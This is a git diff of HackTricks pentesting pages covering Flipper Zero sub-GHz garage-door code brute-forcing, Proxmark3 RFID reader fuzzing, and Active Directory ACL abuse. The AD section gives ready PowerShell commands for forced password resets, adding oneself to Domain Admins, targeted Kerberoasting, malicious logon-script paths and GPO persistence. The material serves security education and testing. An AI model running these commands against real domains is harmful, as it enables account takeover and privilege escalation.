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* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
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***
## Intro <a href="#kfpn7" id="kfpn7"></a>
Flipper Zero can **receive and transmit radio frequencies in the range of 300-928 MHz** with its built-in module, which can read, save, and emulate remote controls. These controls are used for interaction with gates, barriers, radio locks, remote control switches, wireless doorbells, smart lights, and more. Flipper Zero can help you to learn if your security is compromised.
@ -82,7 +74,7 @@ By default **Read Raw is also in 433.92 in AM650**, but if with the Read option
### Brute-Force
If you know the protocol used for example by the garage door it's possible to g**enerate all the codes and send them with the Flipper Zero.** This is an example that support general common types of garages: [**https://github.com/tobiabocchi/flipperzero-bruteforce**](https://github.com/tobiabocchi/flipperzero-bruteforce)\*\*\*\*
If you know the protocol used for example by the garage door it's possible to g**enerate all the codes and send them with the Flipper Zero.** This is an example that support general common types of garages: [**https://github.com/tobiabocchi/flipperzero-bruteforce**](https://github.com/tobiabocchi/flipperzero-bruteforce)
### Add Manually
@ -90,7 +82,7 @@ If you know the protocol used for example by the garage door it's possible to g*
Add signals from a configured list of protocols
{% endhint %}
#### List of [supported protocols](https://docs.flipperzero.one/sub-ghz/add-new-remote) <a href="#3iglu" id="3iglu"></a>
#### List of [supported protocols](https://docs.flipperzero.one/sub-ghz/add-new-remote) <a href="#id-3iglu" id="id-3iglu"></a>
| Princeton\_433 (works with the majority of static code systems) | 433.92 | Static |
| --------------------------------------------------------------- | ------ | ------- |
@ -127,13 +119,6 @@ Get dBms of the saved frequencies
* [https://docs.flipperzero.one/sub-ghz](https://docs.flipperzero.one/sub-ghz)
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Find vulnerabilities that matter most so you can fix them faster. Intruder tracks your attack surface, runs proactive threat scans, finds issues across your whole tech stack, from APIs to web apps and cloud systems. [**Try it for free**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) today.
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@ -143,7 +128,7 @@ Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

19
todo/radio-hacking/proxmark-3.md
View file

@ -7,19 +7,11 @@
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>
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## Attacking RFID Systems with Proxmark3
The first thing you need to do is to have a [**Proxmark3**](https://proxmark.com) and [**install the software and it's dependencie**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)[**s**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux).
@ -79,13 +71,6 @@ proxmark3> script run mfkeys
You can create a script to **fuzz tag readers**, so copying the data of a **valid card** just write a **Lua script** that **randomize** one or more random **bytes** and check if the **reader crashes** with any iteration.
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@ -93,7 +78,7 @@ Find vulnerabilities that matter most so you can fix them faster. Intruder track
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73
windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md
View file

@ -9,28 +9,19 @@ Other ways to support HackTricks:
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**This page is mostly a summary of the techniques from [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) and [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges). For more details, check the original articles.**
**This page is mostly a summary of the techniques from** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **and** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)**. For more details, check the original articles.**
## **GenericAll Rights on User**
This privilege grants an attacker full control over a target user account. Once `GenericAll` rights are confirmed using the `Get-ObjectAcl` command, an attacker can:
- **Change the Target's Password**: Using `net user <username> <password> /domain`, the attacker can reset the user's password.
- **Targeted Kerberoasting**: Assign an SPN to the user's account to make it kerberoastable, then use Rubeus and targetedKerberoast.py to extract and attempt to crack the ticket-granting ticket (TGT) hashes.
* **Change the Target's Password**: Using `net user <username> <password> /domain`, the attacker can reset the user's password.
* **Targeted Kerberoasting**: Assign an SPN to the user's account to make it kerberoastable, then use Rubeus and targetedKerberoast.py to extract and attempt to crack the ticket-granting ticket (TGT) hashes.
```powershell
Set-DomainObject -Credential $creds -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}
@ -38,16 +29,17 @@ Set-DomainObject -Credential $creds -Identity <username> -Set @{serviceprincipal
Set-DomainObject -Credential $creds -Identity <username> -Clear serviceprincipalname -Verbose
```
- **Targeted ASREPRoasting**: Disable pre-authentication for the user, making their account vulnerable to ASREPRoasting.
* **Targeted ASREPRoasting**: Disable pre-authentication for the user, making their account vulnerable to ASREPRoasting.
```powershell
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
```
## **GenericAll Rights on Group**
This privilege allows an attacker to manipulate group memberships if they have `GenericAll` rights on a group like `Domain Admins`. After identifying the group's distinguished name with `Get-NetGroup`, the attacker can:
- **Add Themselves to the Domain Admins Group**: This can be done via direct commands or using modules like Active Directory or PowerSploit.
* **Add Themselves to the Domain Admins Group**: This can be done via direct commands or using modules like Active Directory or PowerSploit.
```powershell
net group "domain admins" spotless /add /domain
@ -56,21 +48,24 @@ Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.
```
## **GenericAll / GenericWrite / Write on Computer/User**
Holding these privileges on a computer object or a user account allows for:
- **Kerberos Resource-based Constrained Delegation**: Enables taking over a computer object.
- **Shadow Credentials**: Use this technique to impersonate a computer or user account by exploiting the privileges to create shadow credentials.
* **Kerberos Resource-based Constrained Delegation**: Enables taking over a computer object.
* **Shadow Credentials**: Use this technique to impersonate a computer or user account by exploiting the privileges to create shadow credentials.
## **WriteProperty on Group**
If a user has `WriteProperty` rights on all objects for a specific group (e.g., `Domain Admins`), they can:
- **Add Themselves to the Domain Admins Group**: Achievable via combining `net user` and `Add-NetGroupUser` commands, this method allows privilege escalation within the domain.
* **Add Themselves to the Domain Admins Group**: Achievable via combining `net user` and `Add-NetGroupUser` commands, this method allows privilege escalation within the domain.
```powershell
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
```
## **Self (Self-Membership) on Group**
This privilege enables attackers to add themselves to specific groups, such as `Domain Admins`, through commands that manipulate group membership directly. Using the following command sequence allows for self-addition:
```powershell
@ -78,6 +73,7 @@ net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domai
```
## **WriteProperty (Self-Membership)**
A similar privilege, this allows attackers to directly add themselves to groups by modifying group properties if they have the `WriteProperty` right on those groups. The confirmation and execution of this privilege are performed with:
```powershell
@ -86,6 +82,7 @@ net group "domain admins" spotless /add /domain
```
## **ForceChangePassword**
Holding the `ExtendedRight` on a user for `User-Force-Change-Password` allows password resets without knowing the current password. Verification of this right and its exploitation can be done through PowerShell or alternative command-line tools, offering several methods to reset a user's password, including interactive sessions and one-liners for non-interactive environments. The commands range from simple PowerShell invocations to using `rpcclient` on Linux, demonstrating the versatility of attack vectors.
```powershell
@ -100,6 +97,7 @@ rpcclient -U KnownUsername 10.10.10.192
```
## **WriteOwner on Group**
If an attacker finds that they have `WriteOwner` rights over a group, they can change the ownership of the group to themselves. This is particularly impactful when the group in question is `Domain Admins`, as changing ownership allows for broader control over group attributes and membership. The process involves identifying the correct object via `Get-ObjectAcl` and then using `Set-DomainObjectOwner` to modify the owner, either by SID or name.
```powershell
@ -109,6 +107,7 @@ Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico
```
## **GenericWrite on User**
This permission allows an attacker to modify user properties. Specifically, with `GenericWrite` access, the attacker can change the logon script path of a user to execute a malicious script upon user logon. This is achieved by using the `Set-ADObject` command to update the `scriptpath` property of the target user to point to the attacker's script.
```powershell
@ -116,6 +115,7 @@ Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\
```
## **GenericWrite on Group**
With this privilege, attackers can manipulate group membership, such as adding themselves or other users to specific groups. This process involves creating a credential object, using it to add or remove users from a group, and verifying the membership changes with PowerShell commands.
```powershell
@ -127,6 +127,7 @@ Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'use
```
## **WriteDACL + WriteOwner**
Owning an AD object and having `WriteDACL` privileges on it enables an attacker to grant themselves `GenericAll` privileges over the object. This is accomplished through ADSI manipulation, allowing for full control over the object and the ability to modify its group memberships. Despite this, limitations exist when trying to exploit these privileges using the Active Directory module's `Set-Acl` / `Get-Acl` cmdlets.
```powershell
@ -138,35 +139,20 @@ $ADSI.psbase.commitchanges()
```
## **Replication on the Domain (DCSync)**
The DCSync attack leverages specific replication permissions on the domain to mimic a Domain Controller and synchronize data, including user credentials. This powerful technique requires permissions like `DS-Replication-Get-Changes`, allowing attackers to extract sensitive information from the AD environment without direct access to a Domain Controller.
[**Learn more about the DCSync attack here.**](../dcsync.md)
The DCSync attack leverages specific replication permissions on the domain to mimic a Domain Controller and synchronize data, including user credentials. This powerful technique requires permissions like `DS-Replication-Get-Changes`, allowing attackers to extract sensitive information from the AD environment without direct access to a Domain Controller. [**Learn more about the DCSync attack here.**](../dcsync.md)
## GPO Delegation <a href="#gpo-delegation" id="gpo-delegation"></a>
### GPO Delegation
Delegated access to manage Group Policy Objects (GPOs) can present significant security risks. For instance, if a user such as `offense\spotless` is delegated GPO management rights, they may have privileges like **WriteProperty**, **WriteDacl**, and **WriteOwner**. These permissions can be abused for malicious purposes, as identified using PowerView:
```bash
Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
```
Delegated access to manage Group Policy Objects (GPOs) can present significant security risks. For instance, if a user such as `offense\spotless` is delegated GPO management rights, they may have privileges like **WriteProperty**, **WriteDacl**, and **WriteOwner**. These permissions can be abused for malicious purposes, as identified using PowerView: `bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
### Enumerate GPO Permissions
To identify misconfigured GPOs, PowerSploit's cmdlets can be chained together. This allows for the discovery of GPOs that a specific user has permissions to manage:
```powershell
Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
```
To identify misconfigured GPOs, PowerSploit's cmdlets can be chained together. This allows for the discovery of GPOs that a specific user has permissions to manage: `powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
**Computers with a Given Policy Applied**: It's possible to resolve which computers a specific GPO applies to, helping understand the scope of potential impact.
```powershell
Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}
```
**Computers with a Given Policy Applied**: It's possible to resolve which computers a specific GPO applies to, helping understand the scope of potential impact. `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}`
**Policies Applied to a Given Computer**: To see what policies are applied to a particular computer, commands like `Get-DomainGPO` can be utilized.
@ -215,8 +201,6 @@ The XML configuration file for Users and Groups outlines how these changes are i
Furthermore, additional methods for executing code or maintaining persistence, such as leveraging logon/logoff scripts, modifying registry keys for autoruns, installing software via .msi files, or editing service configurations, can also be considered. These techniques provide various avenues for maintaining access and controlling target systems through the abuse of GPOs.
## References
* [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces)
@ -227,13 +211,6 @@ Furthermore, additional methods for executing code or maintaining persistence, s
* [https://adsecurity.org/?p=3658](https://adsecurity.org/?p=3658)
* [https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System\_DirectoryServices\_ActiveDirectoryAccessRule\_\_ctor\_System\_Security\_Principal\_IdentityReference\_System\_DirectoryServices\_ActiveDirectoryRights\_System\_Security\_AccessControl\_AccessControlType\_](https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System\_DirectoryServices\_ActiveDirectoryAccessRule\_\_ctor\_System\_Security\_Principal\_IdentityReference\_System\_DirectoryServices\_ActiveDirectoryRights\_System\_Security\_AccessControl\_AccessControlType\_)
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@ -243,7 +220,7 @@ Other ways to support HackTricks:
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